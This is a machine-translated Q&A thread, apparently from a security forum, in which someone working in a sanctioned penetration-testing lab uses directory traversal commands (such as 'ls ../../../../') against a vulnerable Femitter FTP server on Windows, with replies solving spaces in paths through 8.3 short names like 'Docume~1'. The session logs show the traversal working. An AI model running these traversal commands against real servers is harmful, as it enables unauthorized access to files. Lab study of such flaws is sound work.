Ataque de travessia de diretório FTP em diretórios que contêm espaços em branco

15

Estou conduzindo um protesto sancionado em um ambiente fechado de referência e lutei com uma questão aparentemente simples que atualmente não consigo resolver.

Ao tentar executar um ataque de travessia de diretório contra um servidor FTP Fermitter vulnerável em execução no sistema operacional MS Windows, é possível fazer uma LIST na raiz do sistema (endereços e listagens de conteúdo alterados aqui apenas para referência):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

No entanto, se eu quiser listar o conteúdo de uma pasta que contenha espaços em branco, como Documents and settings, não consigo listar o conteúdo do diretório devido a espaços em branco serem ignorados.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Eu já tentei usar diferentes clientes FTP (CLI e GUI, no Linux e Windows) e eles ignoram os espaços em branco ou impedem a passagem de diretório.

Também tentei criar scripts para o ataque no Python usando primeiro os soquetes brutos e depois o ftplib para enviar os comandos no formato HEX diretamente para o servidor FTP, mas sem sucesso.

Pesquisar no Google por algumas horas não resultou em uma solução funcional (sim, havia muitas opções, que não funcionaram), é por isso que há alguém aqui que teve o mesmo problema. Certamente, essa não é a primeira vez que uma travessia de diretório com espaços em branco é necessária.

bloqueio
fonte
A distinção entre maiúsculas e minúsculas parece irrelevante para os clientes de FTP. Pelo menos o cliente FTP do GNU / Linux lista os diretórios que ignoram as letras maiúsculas.
@ lockout: a distinção entre maiúsculas e minúsculas é uma coisa do lado do servidor e não do cliente. Os clientes listam os dados da mesma maneira que o servidor os envia e não altera o caso.
Steffen Ullrich 23/02
1
Também dê C: \ Docume ~ 1 \ uma tentativa.
Dog eat cat world
1
Tente escapar dos espaços com \ou citar a cadeia de diretório #
DavidPostill
1
Estou feliz que funcionou para você @lockout. Desde que você teve o trabalho de responder sua pergunta, é bom que você a aceite como resposta. Obrigado por me creditar.
Dog eat cat world

Respostas:

16

Solução sugerida por @Dogeatcatworld para usar a notação curta de diretório do MS Windows, como C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Um artigo realmente bom da Base de Dados de Conhecimento da Microsoft explica a notação de diretório 8.3: Como o Windows gera nomes de arquivo 8.3 a partir de nomes longos de arquivo

bloqueio
fonte
2
OSCP eu vejo. Para adicionar à sua dica, para diretórios curtos, como "Todos os usuários", solte o espaço e use "AllUse ~ 1". Você encontrou uma maneira de montar o FTP para navegar interativamente ou acabou de baixar os arquivos um por um.
N00b
1

O "nome abreviado" é realmente a antiga convenção de nomenclatura do DOS 8.3; portanto, todos os diretórios serão as primeiras 6 letras seguidas de ~ 1, assumindo que existe apenas um nome que corresponda, por exemplo:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG SOU DIRETÓRIO
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Outro diretório

Aqui está a única exceção:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG SOU DIRETÓRIO
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Diretório também

Fonte: Como posso encontrar o caminho curto de um diretório / arquivo do Windows?

madsport
fonte
0

O ftp não usa codificação de URL, portanto,% xx não funcionará a menos que você esteja usando ftp em um navegador que possa traduzi-lo para você.

Tente usar aspas ao redor, ou seja, ls "../../some dir"

wireghoul
fonte
1
Olá, se você examinar as tentativas tentadas de atravessar o diretório, verá que eu tentei várias aspas: aspas simples, aspas duplas e back tick. Eles não funcionaram, conforme representado na listagem de saída do FTP. Usar% 20 foi apenas para experimentar se isso funcionaria, devido a tentativas desesperadas de tentar todas as opções. Obviamente, a codificação% funciona em navegadores e clientes FTP capazes de interpretá-los.
bloqueio